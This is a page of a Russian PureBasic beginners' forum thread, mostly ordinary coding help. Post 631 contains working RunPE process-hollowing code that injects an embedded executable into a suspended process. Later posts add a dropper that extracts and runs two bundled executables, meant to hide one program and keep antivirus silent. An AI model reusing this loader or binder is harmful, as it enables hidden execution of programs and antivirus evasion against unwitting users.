PureBasic - форум

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » PureBasic - форум » Вопросы по PureBasic » Вопросы новичка


Вопросы новичка

Сообщений 631 страница 660 из 1000

631

Тогда можно сделать так

Код:
Structure IMAGE_SECTION_HEADER 
  SecName.b[8] 
  StructureUnion 
    PhysicalAddr.l 
    VirtualSize.l 
  EndStructureUnion 
  VirtualAddress.l 
  SizeOfRawData.l 
  PointerToRawData.l 
  PointerToRelocations.l 
  PointerToLinenumbers.l 
  NumberOfRelocations.w 
  NumberOfLinenumbers.w 
  Characteristics.l 
EndStructure 

Structure IMAGE_SECTION_HEADERS 
  ish.IMAGE_SECTION_HEADER[95] 
EndStructure 

Procedure RunPE(lBuff, parameters.s) 
  Protected *idh.IMAGE_DOS_HEADER  = lBuff 
  Protected *ish.IMAGE_SECTION_HEADERS 
  Protected pi.PROCESS_INFORMATION 
  Protected *inh.IMAGE_NT_HEADERS 
  Protected si.STARTUPINFO 
  Protected lpBaseAddres.l 
  Protected Ctx.CONTEXT 
  Protected Addr.l, RET.l, i.l 

  CreateProcess_(#NUL, ProgramFilename() + " " + parameters, #NUL, #NUL, #False, #CREATE_SUSPENDED, #NUL, #NUL, @si, @pi) 
  Ctx\ContextFlags = #CONTEXT_INTEGER 
  If GetThreadContext_(pi\hThread, Ctx) = 0      : Goto EndThread : EndIf 

  ReadProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @Addr, 4, #NUL) 
  If ZwUnmapViewOfSection_(Pi\hProcess, Addr)    : Goto EndThread : EndIf 
  If lBuff = 0                                   : Goto EndThread : EndIf 
  *inh = lBuff + *idh\e_lfanew 

  lpBaseAddres = VirtualAllocEx_(pi\hProcess, *inh\OptionalHeader\ImageBase, *inh\OptionalHeader\SizeOfImage, #MEM_COMMIT | #MEM_RESERVE, #PAGE_EXECUTE_READWRITE) 
  WriteProcessMemory_(pi\hProcess, lpBaseAddres, lBuff, *inh\OptionalHeader\SizeOfHeaders, @ret) 
  *ish = *inh\OptionalHeader + *inh\FileHeader\SizeOfOptionalHeader 

  For i = 0 To *inh\FileHeader\NumberOfSections - 1 
    WriteProcessMemory_(pi\hProcess, lpBaseAddres + *ish\ish[i]\VirtualAddress, lBuff + *ish\ish[i]\PointerToRawData, *ish\ish[i]\SizeOfRawData, @ret) 
  Next 

  WriteProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @lpBaseAddres, 4, #NUL) 
  Ctx\Eax = lpBaseAddres + *inh\OptionalHeader\AddressOfEntryPoint 
  SetThreadContext_(pi\hThread, Ctx) 
  ResumeThread_(pi\hThread) 
  ProcedureReturn 

  EndThread: 
  TerminateProcess_(pi\hProcess, #NUL) 
  CloseHandle_(pi\hThread) 
  CloseHandle_(pi\hProcess) 
EndProcedure 


RunPE(?file1, "") 
RunPE(?file2, "")
End

DataSection 
  file1: IncludeBinary "Путь к певому исполняемому файлу" 
  file2: IncludeBinary "Путь к второму исполняемому файлу"
EndDataSection

Укажи в конце кода пути к программам и выполни компиляцию.
Всё, два исполляемых файла будут склеены.

PS.
На эту констуркцию многие антивирусы будут ругаться!!

0

632

Какие то неудобства ты себе создаешь.. Зачем склеивать 2 файла.. Если бы ты конкретней сказал что требуется и как будут взаимодействовать эти файлы, то стало бы более понятней

0

633

Почему не работает данная команда?
CreateFile(0, "Pogects\data.nuk")

Тоесть в папке с проектом есть папка Pogects. В ней мне нужно создать файл.. Если писать CreateFile(0, "data.nuk") то создает в корне..

0

634

существует 2 файла и их надо склеить и что бы они вместе работали и были оба главные,просто надо что бы когда человек  запускал программу он не видел 2 программу, но она работала (не для вирусов и того подобного).

0

635

а надо вот именно что бы антивирусы молчали.

0

636

daiomik написал(а):

Почему не работает данная команда?

Эта программа случайно не запускается с помощью RunProgram?

Попробуй так

Код:
FullPath.s=ProgramFilename()
ProgPath.s=GetPathPart(FullPath)

CreateFile(0, ProgPath+"Pogects\data.nuk")

В свойствах проекта, на закладке "Компиляция/запуск", отметь пункт "Создавать временные исполняемые файлы в исходном каталоге".

0

637

Пётр написал(а):

Эта программа случайно не запускается с помощью RunProgram?

именно..

Пётр написал(а):

Создавать временные исполняемые файлы в исходном каталоге"

вот и понял теперь для чего эта галка нужны была..Все работает

0

638

Arei написал(а):

а надо вот именно что бы антивирусы молчали

Тогда программы нужно запускать не из памяти, а создать их на диске и запустить.

0

639

а как это сделать?

0

640

Arei написал(а):

а как это сделать?

Как-то так

Код:
Procedure Create_File(File.s, *Buf, Len)
  Protected Result = 0
  If CreateFile(0, File)
    WriteData(0, *Buf, Len)
    CloseFile(0)
    Result = 1
  EndIf
 ProcedureReturn Result
EndProcedure

FullPath.s=ProgramFilename()
ProgPath.s=GetPathPart(FullPath) ; Путь к программе

If Create_File(ProgPath+"Prog1.exe", ?file1, ?file2-?file1)
  If Create_File(ProgPath+"Prog2.exe", ?file2, ?file2End-?file2)
    P_ID=RunProgram(ProgPath+"Prog1.exe", "", ProgPath, #PB_Program_Open)
    RunProgram(ProgPath+"Prog2.exe", "", ProgPath, #PB_Program_Wait)
    Delay(1000)
    If IsProgram(P_ID)
      KillProgram(P_ID)
    EndIf
    Delay(1000)
  EndIf
EndIf
DeleteFile(ProgPath+"Prog1.exe")
DeleteFile(ProgPath+"Prog2.exe")
End

DataSection 
  file1: IncludeBinary "Путь к певому исполняемому файлу"   ; Работает в фоне
  file2: IncludeBinary "Путь к второму исполняемому файлу"  ; Главная прога
  File2End:
EndDataSection

0

641

Пишу путь а он ошибку выдаёт

0

642

Спасибо

0

643

Arei написал(а):

Пишу путь а он ошибку выдаёт

Путь точно правильный?

0

644

Как отследить события перемещения окна и изменения его размеров?

0

645

За движение вроде отвечает константа #PB_Event_MoveWindow, а вот с размерами не могу найти

0

646

а можно разные разрешения например txt или jpg

0

647

Почему не отлавливаются события в этом коде?:

Код:
ElseIf event=#PB_Event_MoveWindow
    If window=MyWindow\const
      MyWindow\x=WindowX(MyWindow\const)
      MyWindow\y=WindowY(MyWindow\const)
      SetGadgetText(#String_3,Str(MyWindow\x))
      SetGadgetText(#String_5,Str(MyWindow\y)) 
    EndIf 
  ElseIf event=#PB_Event_SizeWindow
    If window=MyWindow\const
      MyWindow\innerwidth=WindowWidth(MyWindow\const) 
      MyWindow\innerheight=WindowHeight(MyWindow\const) 
      SetGadgetText(#String_7,Str(MyWindow\innerwidth))
      SetGadgetText(#String_9,Str(MyWindow\innerheight))
    EndIf 
  EndIf

то есть не происходит занесение координать и размеров в гаджетты?

0

648

Все работает - проверяй свой код

Код:
Enumeration
  #Window_0
EndEnumeration

;- Gadget Constants
;
Enumeration
  #Text_0
  #Text_1
  #Text_2
  #Text_3
EndEnumeration


Procedure Open_Window_0()
  If OpenWindow(#Window_0, 217, 85, 184, 142, "New window ( 0 )",  #PB_Window_SystemMenu | #PB_Window_SizeGadget | #PB_Window_TitleBar )
    If CreateGadgetList(WindowID(#Window_0))
      TextGadget(#Text_0, 55, 10, 110, 20, "")
      TextGadget(#Text_1, 55, 40, 110, 20, "")
      TextGadget(#Text_2, 50, 70, 115, 20, "")
      TextGadget(#Text_3, 50, 100, 115, 20, "")
    EndIf
  EndIf
EndProcedure

Open_Window_0()

Repeat
  Event=WaitWindowEvent()
  
  If event=#PB_Event_MoveWindow
    ;If window=MyWindow\const
      x=WindowX(#Window_0)
      y=WindowY(#Window_0)
      SetGadgetText(#Text_0,Str(x))
      SetGadgetText(#Text_1,Str(y)) 
   ; EndIf 
  ElseIf event=#PB_Event_SizeWindow
    ;If window=MyWindow\const
      innerwidth=WindowWidth(#Window_0) 
      innerheight=WindowHeight(#Window_0) 
      SetGadgetText(#Text_2,Str(innerwidth))
      SetGadgetText(#Text_3,Str(innerheight))
    ;EndIf 
  EndIf
Until Event=#PB_Event_CloseWindow
Arei написал(а):

а можно разные разрешения например txt или jpg

Можно, но разве это исполняемые файлы

0

649

да у меня всё работает спасибо а интересно можно сделать что бы отдельный exe создавался просто буду пытаться сделать что бы сделать выбирать исполняемые файлы в окне и потом склеивать их .

0

650

В этом случае, нужно приклеивать файлы к уже скомпилированому EXE.
Тут нужно либо создавать самораспаковывающийся архив, либо запихивать файлы в ресурсы программы.

PS.
Для чего это вообще понадобилось?

0

651

Arei, прежде чем за такое садиться писать, советую тебе очень подробно изучить уроки и всю имеющуюся литературу, начиная с самых азов.. А то копирование кода без его понимания ни к чему хорошему не приведет..

0

652

я прочитал всю книгу и ролики просмотрел до 12

0

653

Почему не срабатывает такое действие? Пишет синтаксическая ошибка:

Код:
peremennaya1.s=peremennaya2/(peremennaya3*peremennaya3)

нужно что бы действия в скобках выполнялись в первую очередь.. Конечно можно по отдельности умножить, но узнать в чем ошибка - надежней)

0

654

У меня пишет другое
http://s04.radikal.ru/i177/1008/be/641154eaa6fc.png

peremennaya1 не должна быть строковой!

0

655

мм..ну да, опчатался я)
Почему тогда так выводит 0:

Код:
n.l=14/(15*15)
Debug n

0

656

Потому что результат будет дробным, находящимся между нулём и единицей.
В данном случае нужна переменная, хранящая дробные числа.

Код:
n.f=14/(15*15)
Debug n

0

657

Совсем запутался.. Почему в данном отрывке высвечивается ошибка при сравнении в условии:

Код:
xx.l=Val(GetGadgetText(3))
zz.l=Val(GetGadgetText(5))
If xx="" And zz=""
   MessageRequester("Внимание!","Заполните все параметры!") 
EndIf

0

658

daiomik написал(а):

Почему в данном отрывке высвечивается ошибка при сравнении в условии

Переменные числовые (тип Long), а сравниваются как строки!
Должно быть так

Код:
xx.l=Val(GetGadgetText(3))
zz.l=Val(GetGadgetText(5))
If xx=0 And zz=0
   MessageRequester("Внимание!","Заполните все параметры!") 
EndIf

0

659

Петр, прости за то что глупые вопросы спрашиваю, но почему этот код неправильно выводит результат? Значение уменьшенное во много раз:

Код:
; PureBasic Visual Designer v3.95 build 1485 (PB4Code)


;- Window Constants
;
Enumeration
  #Window_0
EndEnumeration

;- Gadget Constants
;
Enumeration
  #String_0
  #String_1
  #Button_0
EndEnumeration


Procedure Open_Window_0()
  If OpenWindow(#Window_0, 508, 208, 212, 97, "New window ( 0 )",  #PB_Window_SystemMenu | #PB_Window_SizeGadget | #PB_Window_TitleBar )
    If CreateGadgetList(WindowID(#Window_0))
      StringGadget(#String_0, 20, 50, 90, 25, "", #PB_String_Numeric)
      StringGadget(#String_1, 20, 20, 90, 25, "", #PB_String_Numeric)
      ButtonGadget(#Button_0, 125, 30, 60, 35, "ОК")
      
    EndIf
  EndIf
EndProcedure
Open_Window_0()
Repeat
  event=WaitWindowEvent()
  gadget=EventGadget()
  If event=#PB_Event_Gadget
    If gadget=#Button_0
      x.l=Val(GetGadgetText(#String_0))
      y.l=Val(GetGadgetText(#String_1))
      z.f=x/(y*y)
      Debug z 
    EndIf 
  EndIf
Until event=#PB_Event_CloseWindow

0

660

daiomik написал(а):

но почему этот код неправильно выводит результат?

А почему неправильно? Все правильно, ты просто наверно местами строковые гаджеты перепутал....

0


Вы здесь » PureBasic - форум » Вопросы по PureBasic » Вопросы новичка